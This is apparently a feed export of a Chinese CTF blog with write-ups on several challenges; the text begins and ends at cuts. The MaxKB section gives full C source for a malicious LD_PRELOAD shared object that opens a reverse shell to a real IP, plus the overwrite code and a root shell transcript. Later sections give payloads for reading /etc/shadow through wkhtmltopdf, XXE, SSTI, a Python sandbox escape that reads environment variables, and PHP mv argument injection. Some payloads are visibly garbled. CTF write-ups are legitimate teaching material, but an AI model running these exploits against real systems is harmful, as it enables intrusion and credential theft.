&lt;p&gt;也就是说，只要是「沙箱模式」执行 Python，它就会：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在 &lt;strong&gt;沙箱目录&lt;/strong&gt;&lt;code&gt;/opt/maxkb-app/sandbox/&lt;/code&gt; 下找 &lt;code&gt;sandbox.so&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;启动 Python 子进程时，带上 &lt;code&gt;LD_PRELOAD=/opt/maxkb-app/sandbox/sandbox.so&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;结合我们前面信息收集到的结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/opt/maxkb-app/sandbox/&lt;/code&gt; 是沙箱里唯一能读写的目录；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sandbox.so&lt;/code&gt; 就长在这里；&lt;/li&gt;
&lt;li&gt;我们可以&lt;strong&gt;覆盖它&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;那就很明显了：
&lt;strong&gt;一个可写的、会被 LD_PRELOAD 的 so，基本等于「给你一个挂钩点，自己决定启动时执行啥」。&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;0x02 攻击思路一眼定胜负&lt;/h3&gt;
&lt;p&gt;利用链其实就四步：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在本地写一个恶意 &lt;code&gt;.so&lt;/code&gt;：被载入时自动执行我们想跑的命令（比如反弹 shell）。&lt;/li&gt;
&lt;li&gt;编译好之后做 base64 编码，方便塞进沙箱里的 Python 代码。&lt;/li&gt;
&lt;li&gt;用在线 Python 将 base64 解码，直接覆写 &lt;code&gt;/opt/maxkb-app/sandbox/sandbox.so&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;再随便执行一次「沙箱模式」的 Python 代码就行了——Python 子进程一启动，动态链接器按照 &lt;code&gt;LD_PRELOAD&lt;/code&gt; 把我们的 so 加载进来，构造函数自动跑，反弹 shell 拿下。&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h3&gt;0x03 本地准备：写个简单的恶意 so&lt;/h3&gt;
&lt;p&gt;先在自己机子上写 &lt;code&gt;Z3.c&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void payload() {   
    unsetenv(&quot;LD_PRELOAD&quot;);
    
    system(&quot;bash -c \&quot;bash -i &amp;gt;&amp;amp; /dev/tcp/8.138.38.81/1337 0&amp;gt;&amp;amp;1\&quot;&quot;);
}

__attribute__((constructor))
void init() {
    if (getenv(&quot;LD_PRELOAD&quot;) != NULL) {
        payload();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编译成 so：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gcc -shared -fPIC -o Z3.so Z3.c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;检查一下是 64 位 ELF 就行（和容器架构一致即可）。&lt;/p&gt;
&lt;p&gt;然后为了方便塞进题目里，把 so 做成一行 base64：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;base64 -w0 Z3.so &amp;gt; Z3.b64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打开 &lt;code&gt;Z3.b64&lt;/code&gt;，复制里面那一长串字符串，后面会用到。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;0x04 在线覆写 &lt;code&gt;/opt/maxkb-app/sandbox/sandbox.so&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;接下来回到题目后台，「智能体编程」那里写 Python。我们利用沙箱能写 &lt;code&gt;/opt/maxkb-app/sandbox/&lt;/code&gt; 的特性，把本地准备好的恶意 so 写进去。&lt;/p&gt;
&lt;p&gt;示例代码（核心逻辑）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def payload():
    import base64
    import os

    base64data = &quot;&quot;&quot;
这里粘你的 Z3.b64 那一整行
&quot;&quot;&quot;.strip()

    data = base64.b64decode(base64data)

    path = &quot;/opt/maxkb-app/sandbox/sandbox.so&quot;

    with open(path, &quot;wb&quot;) as f:
        f.write(data)

    return {&quot;msg&quot;: &quot;overwrite done&quot;, &quot;size&quot;: len(data)}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;只能是def函数，其他的&lt;img src=&quot;https://ymsora.com/WORKIMAGE/2.png&quot; alt=&quot;img&quot; /&gt;函数会报错奥&lt;/p&gt;
&lt;p&gt;在后台点击调试，&lt;/p&gt;
&lt;p&gt;这一步做完，其实整个提权已经埋好雷了，就差走过去踩一下。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;0x05 触发 LD_PRELOAD，拿反弹 shell&lt;/h3&gt;
&lt;p&gt;在本地先开个监听：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvvp 1337
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后回后台，再新建/修改一个工具，随手写个非常无害的代码，例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def payload():
    print(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重点不是这段代码本身，而是&lt;strong&gt;你要让它在“沙箱模式”下执行一次&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;一旦点了执行，后台会：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;根据我们前面看到的逻辑，启动一个带 &lt;code&gt;LD_PRELOAD=/opt/maxkb-app/sandbox/sandbox.so&lt;/code&gt; 的 Python 子进程；&lt;/li&gt;
&lt;li&gt;动态链接器加载我们的 &lt;code&gt;sandbox.so&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;调用 so 里的 &lt;code&gt;__attribute__((constructor))&lt;/code&gt; 函数；&lt;/li&gt;
&lt;li&gt;反弹 shell 直接回到我们本机的 nc。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;此时监听端口上就会弹出一个交互 shell：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ nc -lvvp 1337
Connection from x.x.x.x 54321
bash: no job control in this shell
sandbox@xxxx:/opt/maxkb-app/sandbox$ id
uid=0(root) gid=0(root) groups=0(root)
sandbox@xxxx:/opt/maxkb-app/sandbox$ cat /root/flag
flag{...}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接提权RCE&lt;/p&gt;
</content:encoded></item><item><title>极客大挑战2025 writeup</title><link>https://ymsora.com/posts/geek%E6%8C%91%E6%88%98%E6%9D%AF/</link><guid isPermaLink="true">https://ymsora.com/posts/geek%E6%8C%91%E6%88%98%E6%9D%AF/</guid><description>这个比赛到week4难度就高了很多，差两题ak了，凑合看看</description><pubDate>Sat, 20 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;WEEK3 LFI | PDF&lt;/h1&gt;
&lt;p&gt;开头是这个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/geek1.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;信息收集无果，/admin登不进去，没信息，先从这下手，PDF在服务器渲染，这里使用了wkhtmltopdf，以下是简介&lt;/p&gt;
&lt;p&gt;wkhtmltopdf (核心原理）&lt;/p&gt;
&lt;p&gt;关键在于：&lt;strong&gt;wkhtmltopdf 内部实际运行的是一个浏览器内核（WebKit）&lt;/strong&gt;。浏览器内核负责实现 DOM、CSSOM、JavaScript 引擎（在 WebKit 中是 JavaScriptCore）和浏览器 API（包括 &lt;code&gt;XMLHttpRequest&lt;/code&gt;、&lt;code&gt;fetch&lt;/code&gt;、&lt;code&gt;document&lt;/code&gt;、&lt;code&gt;window&lt;/code&gt; 等）。因此：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当你把 HTML 输进后端并由 &lt;code&gt;wkhtmltopdf&lt;/code&gt; 渲染时，它会把 HTML 交给 WebKit 去解析与执行；&lt;/li&gt;
&lt;li&gt;WebKit 会执行 &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; 标签里的 JavaScript；JavaScript 里可以调用浏览器 API（&lt;code&gt;XMLHttpRequest&lt;/code&gt;、&lt;code&gt;fetch&lt;/code&gt;、DOM 操作等）；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;XMLHttpRequest&lt;/code&gt; 的实现是内核层面的网络请求实现（不是浏览器外壳的“window.fetch 的 polyfill”），所以它能发起对 HTTP(s) 或 &lt;code&gt;file://&lt;/code&gt; 的请求（前提是内核允许这些协议/路径在当前配置下访问）。&lt;/li&gt;
&lt;li&gt;所以可以利用XMLHttpRequest去本地读文件，直接打payload&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;● &amp;lt;h1&amp;gt;title&amp;lt;/t1&amp;gt;
● &amp;lt;script&amp;gt;
  ○ var x = XMLHttpRequest();
○ x.onload=function(){
  ■ document.write(&apos;&amp;lt;pre&amp;gt;&apos;,this.responsetext,&apos;&amp;lt;/pre&amp;gt;&apos;);
  ○ };
○ x.open=(&apos;GET&apos;,&apos;file:///etc/shadow&apos;,&apos;true&apos;);
○ x.send();
● &amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接读取了用户和密码，其中有个可疑的用户，直接放登录里爆破直接出了，没难度&lt;/p&gt;
&lt;h1&gt;w3图像预览XML&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGE/geek2.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;开头是这个画面，图像预览，发现可以把图像内嵌到网页中，并且可以上传svg，那我们尝试在里面包含js&lt;/p&gt;
&lt;p&gt;#&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; onload=&quot;alert(document.domain)&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;发现直接渲染报错，有可能是服务器端禁止渲染js，那我们尝试svg内嵌声明文档，XXE开始&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=1.0?&amp;gt;
&amp;lt;!DOCTYPE svg[
xmlD
]&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&amp;gt;&amp;lt;text&amp;gt;&amp;amp;xxe;&amp;lt;/text&amp;gt;&amp;lt;/svg&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接打拿到flag，完结&lt;/p&gt;
&lt;h1&gt;w3简单SSTI盲注&lt;/h1&gt;
&lt;p&gt;开始界面，发现{{}}可以被渲染，但是只有三种回显，大致一个是渲染错误，一个是不让你渲染，一个是渲染出来不告诉你，直接进行盲注，因为没扫到flag，试试环境变量，直接打payload&lt;/p&gt;
&lt;p&gt;?name={{config.&lt;strong&gt;class&lt;/strong&gt;.&lt;strong&gt;init&lt;/strong&gt;.&lt;strong&gt;globals&lt;/strong&gt;[&apos;&lt;strong&gt;builtins&lt;/strong&gt;&apos;].&lt;strong&gt;import&lt;/strong&gt;(&apos;os&apos;).environ[&apos;FLAG&apos;][&apos;0&apos;]==&apos;S&apos;}}然后一个一个手注就行，我有空写个脚本&lt;/p&gt;
&lt;h1&gt;W3压轴，西纳普斯许愿杯，栈帧逃逸&lt;/h1&gt;
&lt;p&gt;给了附件，代码审计。来吧&lt;/p&gt;
&lt;p&gt;wish_stone.py&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import multiprocessing
import sys
import io
import ast


class Wish_stone(ast.NodeVisitor):
    forbidden_wishes = {
        &quot;__class__&quot;, &quot;__dict__&quot;, &quot;__bases__&quot;, &quot;__mro__&quot;, &quot;__subclasses__&quot;,
        &quot;__globals__&quot;, &quot;__code__&quot;, &quot;__closure__&quot;, &quot;__func__&quot;, &quot;__self__&quot;,
        &quot;__module__&quot;, &quot;__import__&quot;, &quot;__builtins__&quot;, &quot;__base__&quot;
    }

    def visit_Attribute(self, node):
        if isinstance(node.attr, str) and node.attr in self.forbidden_wishes:
            raise ValueError
        self.generic_visit(node)

    def visit_GeneratorExp(self, node):
        raise ValueError

SAFE_WISHES = {
    &quot;print&quot;: print,
    &quot;filter&quot;: filter,
    &quot;list&quot;: list,
    &quot;len&quot;: len,
    &quot;addaudithook&quot;: sys.addaudithook,
    &quot;Exception&quot;: Exception,
}

def wish_granter(code, result_queue):
    safe_globals = {&quot;__builtins__&quot;: SAFE_WISHES}

    sys.stdout = io.StringIO()
    sys.stderr = io.StringIO()

    try:
        exec(code, safe_globals)
        output = sys.stdout.getvalue()
        error = sys.stderr.getvalue()
        if error:
            result_queue.put((&quot;err&quot;, error))
        else:
            result_queue.put((&quot;ok&quot;, output))
    except Exception:
        import traceback
        result_queue.put((&quot;err&quot;, traceback.format_exc()))


def safe_grant(wish: str, timeout=3):
    wish = wish.encode().decode(&apos;unicode_escape&apos;)
    try:
        parse_wish = ast.parse(wish)
        Wish_stone().visit(parse_wish)
    except Exception as e:
        return f&quot;Error: bad wish ({e.__class__.__name__})&quot;

    result_queue = multiprocessing.Queue()
    p = multiprocessing.Process(target=wish_granter, args=(wish, result_queue))
    p.start()
    p.join(timeout=timeout)

    if p.is_alive():
        p.terminate()
        return &quot;You wish is too long.&quot;

    try:
        status, output = result_queue.get_nowait()
        print(output)
        return output if status == &quot;ok&quot; else f&quot;Error grant: {output}&quot;
    except:
        return &quot;Your wish for nothing.&quot;


CODE = &apos;&apos;&apos;
def wish_checker(event,args):
    allowed_events = [&quot;import&quot;, &quot;time.sleep&quot;, &quot;builtins.input&quot;, &quot;builtins.input/result&quot;]
    if not list(filter(lambda x: event == x, allowed_events)):
        raise Exception
    if len(args) &amp;gt; 0:
        raise Exception
addaudithook(wish_checker)
print(&quot;{}&quot;)
&apos;&apos;&apos;

badchars = &quot;\&quot;&apos;|&amp;amp;`+-*/()[]{}_ .&quot;.replace(&quot; &quot;, &quot;&quot;)


def evaluate_wish_text(text: str) -&amp;gt; str:
    for ch in badchars:
        if ch in text:
            print(f&quot;ch={ch}&quot;)
            return f&quot;Error:waf {ch}&quot;
    out = safe_grant(CODE.format(text))
    return
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;app.py&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from flask import Flask, render_template, send_from_directory, jsonify, request
import json
import threading
import time

app = Flask(__name__, template_folder=&apos;template&apos;, static_folder=&apos;static&apos;)
with open(&quot;asset/txt/wishes.json&quot;, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
    wishes = json.load(f)[&apos;wishes&apos;]

wishes_lock = threading.Lock()

@app.route(&apos;/&apos;)
def index():
    return render_template(&apos;index.html&apos;)

@app.route(&apos;/assets/&amp;lt;path:filename&amp;gt;&apos;)
def assets(filename):
    return send_from_directory(&apos;asset&apos;, filename)


@app.route(&apos;/api/wishes&apos;, methods=[&apos;GET&apos;, &apos;POST&apos;])
def wishes_endpoint():
    from wish_stone import evaluate_wish_text
    if request.method == &apos;GET&apos;:
        with wishes_lock:
            evaluated = [evaluate_wish_text(w) for w in wishes]
        return jsonify({&apos;wishes&apos;: evaluated})

    data = request.get_json(silent=True) or {}
    text = data.get(&apos;wish&apos;, &apos;&apos;)
    if isinstance(text, str) and text.strip():
        with wishes_lock:
            wishes.append(text.strip())

        return jsonify({&apos;ok&apos;: True}), 201
    return jsonify({&apos;ok&apos;: False, &apos;error&apos;: &apos;empty wish&apos;}), 400

def _cleanup_task():
    while True:
        with wishes_lock:
            if len(wishes) &amp;gt; 6:
                del wishes[6:]
        time.sleep(0.5)

if __name__ == &apos;__main__&apos;:
    threading.Thread(target=_cleanup_task, daemon=True).start()
    app.run(host=&apos;0.0.0.0&apos;, port=8080, debug=False, use_reloader=False)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到这么多路由，脑子估计嗡嗡了，别怕，一步一步来，我在呢。&lt;/p&gt;
&lt;p&gt;首先看看能提交什么，在/api/wishes这里可以提交，然后导入了这个wish_stone的函数，让我们看看&lt;/p&gt;
&lt;p&gt;这个函数:def evaluate_wish_text(text: str) -&amp;gt; str:&lt;/p&gt;
&lt;p&gt;​    for ch in badchars:&lt;/p&gt;
&lt;p&gt;​        if ch in text:&lt;/p&gt;
&lt;p&gt;​            print(f&quot;ch={ch}&quot;)&lt;/p&gt;
&lt;p&gt;​            return f&quot;Error:waf {ch}&quot;&lt;/p&gt;
&lt;p&gt;​    out = safe_grant(CODE.format(text))&lt;/p&gt;
&lt;p&gt;​    return&lt;/p&gt;
&lt;p&gt;用上面这个函数审查了传入的信息，badchars是:badchars = &quot;&quot;&apos;|&amp;amp;`+-*/()[]{}_ .&quot;.replace(&quot; &quot;, &quot;&quot;)&lt;/p&gt;
&lt;p&gt;还有个审计钩子也在里面&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CODE = &apos;&apos;&apos;
def wish_checker(event,args):
    allowed_events = [&quot;import&quot;, &quot;time.sleep&quot;, &quot;builtins.input&quot;, &quot;builtins.input/result&quot;]
    if not list(filter(lambda x: event == x, allowed_events)):
        raise Exception
    if len(args) &amp;gt; 0:
        raise Exception
addaudithook(wish_checker)
print(&quot;{}&quot;)
&apos;&apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;基本所有符号都不能用，咋整，没事继续看，接下来是添加到data，然后是text，text之后有个方法是safe_grant，看看上面，可以把传入的wish编码成bytes，然后可以把wish按照unicode转码，于是我们发现了漏洞，之前不是基本所有都限制了吗，unicode可以绕过，黑名单并没有\，继续看看利用链，然后又被黑名单筛选了一次，这黑名单是真的多，接下来就送到了exec的函数这，因为又有个白名单，这题很鬼，两个黑名单一个白名单，还有顺序，以下是白名单:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SAFE_WISHES = {
    &quot;print&quot;: print,
    &quot;filter&quot;: filter,
    &quot;list&quot;: list,
    &quot;len&quot;: len,
    &quot;addaudithook&quot;: sys.addaudithook,
    &quot;Exception&quot;: Exception,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;回溯一下发现在因为最后传到code的是CODE的一个钩子，因为最后是print(&apos;{}&apos;)所以我们要绕过，用&quot;);xxxx#&quot;)这样，后面插入恶意payload就可以了，经历审计钩子之后就会被传到code去执行exec，但是最后是没有回显的，最后搞了好久终于沙箱逃逸，以下是payload，会进行讲述:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;);filter = lambda f,it:[1];len = lambda x:0
try:
    raise Exception
except Exception as e:
    tb = e.__traceback__
    f = tb.tb_frame
    while f is not None:
        g = f.f_globals
        if &quot;sys&quot; in g:
            m = g[&quot;sys&quot;]
            b = m.modules[&quot;builtins&quot;]
            o = b.open
            f2 = o(&quot;/proc/self/environ&quot;, &quot;r&quot;)
            d = f2.read()
            f2.close()
            w = o(&quot;/app/asset/xxx.txt&quot;, &quot;w&quot;)
            w.write(d)
            w.close()
            break
        f = f.f_back
#&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&quot;)那个就不说了，就是为了构造额外语句，接下来的filter是为了覆盖内置函数，不然有这个黑名单没法整了，覆盖之后就只回返回1，这个1不是很重要，重要的是这个审计钩子这部分失效了，只会抛出空列表，然后看下面，&lt;/p&gt;
&lt;p&gt;if len(args) &amp;gt; 0:，直接替换len，使用匿名函数，只会输出0，然后就绕开这两个钩子。&lt;/p&gt;
&lt;p&gt;接下来才是重点，唉，我何德何能。&lt;/p&gt;
&lt;p&gt;首先&lt;/p&gt;
&lt;p&gt;raise Exception&lt;/p&gt;
&lt;p&gt;except Exception as e:&lt;/p&gt;
&lt;p&gt;​    tb = e.__traceback__是引出错误调出错误信息，然后捕获这个错误信息，然后去调用这个错误的栈信息。tb_frame去找这个利用链的的源头,while x is not none是一个回溯循环，如果这一个层没有就往下一层找，总有一层能找到这些全局变量，等到哪一利用层有这个的时候，去拿到sys.modules，这里存了所有加载的模块，然后拿到内置模块builtins，去读取环境变量(&apos;我猜flag在那&apos;)，然后层层定义，因为没有回显，又因为全部路由只有这里是可疑的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&apos;/assets/&amp;lt;path:filename&amp;gt;&apos;)
def assets(filename):
    return send_from_directory(&apos;asset&apos;, filename)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个路由时会把写入/assets/&lt;a&gt;path:filename&lt;/a&gt;的东西return到asset目录，于是我们先写入/app/asset/xxx.txt，然后去读取/asset/xxx.txt。有东西！！！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://ymsora.com/WORKIMAGR/geek4.png&quot; alt=&quot;img&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现了flag,SYC{xxxxx}。&lt;/p&gt;
&lt;p&gt;ok完结&lt;/p&gt;
</content:encoded></item><item><title>ISCTF2025资格赛 writeup</title><link>https://ymsora.com/posts/isctf%E7%9A%84wp/</link><guid isPermaLink="true">https://ymsora.com/posts/isctf%E7%9A%84wp/</guid><description>自己写得小wp，凑合看看</description><pubDate>Sat, 20 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;mv upload&lt;/h1&gt;
&lt;p&gt;上源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$uploadDir = &apos;/tmp/upload/&apos;; // 临时目录
$targetDir = &apos;/var/www/html/upload/&apos;; // 存储目录

$blacklist = [
    &apos;php&apos;, &apos;phtml&apos;, &apos;php3&apos;, &apos;php4&apos;, &apos;php5&apos;, &apos;php7&apos;, &apos;phps&apos;, &apos;pht&apos;,&apos;jsp&apos;, &apos;jspa&apos;, &apos;jspx&apos;, &apos;jsw&apos;, &apos;jsv&apos;, &apos;jspf&apos;, &apos;jtml&apos;,&apos;asp&apos;, &apos;aspx&apos;, &apos;ascx&apos;, &apos;ashx&apos;, &apos;asmx&apos;, &apos;cer&apos;, &apos;aSp&apos;, &apos;aSpx&apos;, &apos;cEr&apos;, &apos;pHp&apos;,&apos;shtml&apos;, &apos;shtm&apos;, &apos;stm&apos;,&apos;pl&apos;, &apos;cgi&apos;, &apos;exe&apos;, &apos;bat&apos;, &apos;sh&apos;, &apos;py&apos;, &apos;rb&apos;, &apos;scgi&apos;,&apos;htaccess&apos;, &apos;htpasswd&apos;, &quot;php2&quot;, &quot;html&quot;, &quot;htm&quot;, &quot;asa&quot;, &quot;asax&quot;,  &quot;swf&quot;,&quot;ini&quot;
];

$message = &apos;&apos;;
$filesInTmp = [];

// 创建目标目录
if (!is_dir($targetDir)) {
    mkdir($targetDir, 0755, true);
}

if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0755, true);
}

// 上传临时目录
if (isset($_POST[&apos;upload&apos;]) &amp;amp;&amp;amp; !empty($_FILES[&apos;files&apos;][&apos;name&apos;][0])) {
    $uploadedFiles = $_FILES[&apos;files&apos;];
    foreach ($uploadedFiles[&apos;name&apos;] as $index =&amp;gt; $filename) {
        if ($uploadedFiles[&apos;error&apos;][$index] !== UPLOAD_ERR_OK) {
            $message .= &quot;文件 {$filename} 上传失败。&amp;lt;br&amp;gt;&quot;;
            continue;
        }

        $tmpName = $uploadedFiles[&apos;tmp_name&apos;][$index];

        $filename = trim(basename($filename));
        if ($filename === &apos;&apos;) {
            $message .= &quot;文件名无效，跳过。&amp;lt;br&amp;gt;&quot;;
            continue;
        }

        $fileParts = pathinfo($filename);
        $extension = isset($fileParts[&apos;extension&apos;]) ? strtolower($fileParts[&apos;extension&apos;]) : &apos;&apos;;

        $extension = trim($extension, &apos;.&apos;);

        if (in_array($extension, $blacklist)) {
            $message .= &quot;文件 {$filename} 因类型不安全（.{$extension}）被拒绝。&amp;lt;br&amp;gt;&quot;;
            continue;
        }

        $destination = $uploadDir . $filename;

        if (move_uploaded_file($tmpName, $destination)) {
            $message .= &quot;文件 {$filename} 已上传至 $uploadDir$filename 。&amp;lt;br&amp;gt;&quot;;
        } else {
            $message .= &quot;文件 {$filename} 移动失败。&amp;lt;br&amp;gt;&quot;;
        }
    }
}

// 获取临时目录中的所有文件
if (is_dir($uploadDir)) {
    $handle = opendir($uploadDir);
    if ($handle) {
        while (($file = readdir($handle)) !== false) {
            if (is_file($uploadDir . $file)) {
                $filesInTmp[] = $file;
            }
        }
        closedir($handle);
    }
}

// 处理确认上传完毕（移动文件）
if (isset($_POST[&apos;confirm_move&apos;])) {
    if (empty($filesInTmp)) {
        $message .= &quot;没有可移动的文件。&amp;lt;br&amp;gt;&quot;;
    } else {
        $output = [];
        $returnCode = 0;r 
        exec(&quot;cd $uploadDir ; mv * $targetDi2&amp;gt;&amp;amp;1&quot;, $output, $returnCode);#flagtxt;ls&quot;#
        if ($returnCode === 0) {
            foreach ($filesInTmp as $file) {
                $message .= &quot;已移动文件: {$file} 至$targetDir$file&amp;lt;br&amp;gt;&quot;;
            }
        } else {
            $message .= &quot;移动文件失败: &quot; .implode(&apos;, &apos;, $output).&quot;&amp;lt;br&amp;gt;&quot;;
        }
    }
}
?&amp;gt;

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;zh-CN&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;title&amp;gt;多文件上传服务&amp;lt;/title&amp;gt;
    &amp;lt;style&amp;gt;
        body { font-family: Arial, sans-serif; margin: 20px; }
        .container { max-width: 800px; margin: auto; }
        .alert { padding: 10px; margin: 10px 0; background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
        .success { background: #d4edda; color: #155724; border-color: #c3e6cb; }
        ul { list-style-type: none; padding: 0; }
        li { margin: 5px 0; padding: 5px; background: #f0f0f0; }
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;div class=&quot;container&quot;&amp;gt;
    &amp;lt;h2&amp;gt;多文件上传服务&amp;lt;/h2&amp;gt;

    &amp;lt;?php if ($message): ?&amp;gt;
        &amp;lt;div class=&quot;alert &amp;lt;?= strpos($message, &apos;失败&apos;) ? &apos;&apos; : &apos;success&apos; ?&amp;gt;&quot;&amp;gt;
            &amp;lt;?= $message ?&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;?php endif; ?&amp;gt;

    &amp;lt;form method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
        &amp;lt;label for=&quot;files&quot;&amp;gt;选择文件：&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;
        &amp;lt;input type=&quot;file&quot; name=&quot;files[]&quot; id=&quot;files&quot; multiple required&amp;gt;
        &amp;lt;button type=&quot;submit&quot; name=&quot;upload&quot;&amp;gt;上传到临时目录&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;

    &amp;lt;hr&amp;gt;

    &amp;lt;h3&amp;gt;待确认上传文件&amp;lt;/h3&amp;gt;
    &amp;lt;?php if (empty($filesInTmp)): ?&amp;gt;
        &amp;lt;p&amp;gt;暂无待确认上传文件&amp;lt;/p&amp;gt;
    &amp;lt;?php else: ?&amp;gt;
        &amp;lt;ul&amp;gt;
            &amp;lt;?php foreach ($filesInTmp as $file): ?&amp;gt;
                &amp;lt;li&amp;gt;&amp;lt;?= htmlspecialchars($file) ?&amp;gt;&amp;lt;/li&amp;gt;
            &amp;lt;?php endforeach; ?&amp;gt;
        &amp;lt;/ul&amp;gt;
        &amp;lt;form method=&quot;POST&quot;&amp;gt;
            &amp;lt;button type=&quot;submit&quot; name=&quot;confirm_move&quot;&amp;gt;确认上传完毕，移动到存储目录&amp;lt;/button&amp;gt;
        &amp;lt;/form&amp;gt;
    &amp;lt;?php endif; ?&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接说吧，这个的触发点在mv那里，就是这句&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; exec(&quot;cd $uploadDir ; mv * $targetDi2&amp;gt;&amp;amp;1&quot;, $output, $returnCode);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为这里我们可以控制的是*这个会被展开，这个程序大致就是把上传的文件mv到一个存储目录去，就可以利用mv的参数解析干坏事，因为并不是直接插入代码解析，所以没法直接拼接参数，可以用mv的参数来做危险操作，看这个解析&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$fileParts = pathinfo($filename);
$extension = isset($fileParts[&apos;extension&apos;]) ? strtolower($fileParts[&apos;extension&apos;]) : &apos;&apos;;

$extension = trim($extension, &apos;.&apos;);

if (in_array($extension, $blacklist)) {
  $message .= &quot;文件 {$filename} 因类型不安全（.{$extension}）被拒绝。&amp;lt;br&amp;gt;&quot;;
  continue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个pathinfo解析了传过来的文件名，如果后缀名存在就小写后赋值给$extension，如果不存在就赋空值，然后把&quot;.&quot;给去掉之后看看是不是黑名单的，然后我们看重点，我们可以改mv内部参数，而有个参数就是备份加后缀的，直接打：&lt;/p&gt;
&lt;p&gt;mv --backup --suffix=php shell. $target如此，解决&lt;/p&gt;
&lt;h1&gt;简单php的POP&lt;/h1&gt;
&lt;p&gt;源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
  error_reporting(0);

class begin {
  public $var1;
  public $var2;

  function __construct($a)
  {
    $this-&amp;gt;var1 = $a;
  }
  function __destruct() {
    echo $this-&amp;gt;var1;
  }

  public function __toString() {
    $newFunc = $this-&amp;gt;var2;
    return $newFunc();
  }
}


class starlord {
  public $var4;
  public $var5;
  public $arg1;

  public function __call($arg1, $arg2) {
    $function = $this-&amp;gt;var4;
    return $function();
  }

  public function __get($arg1) {
    $this-&amp;gt;var5-&amp;gt;ll2(&apos;b2&apos;);
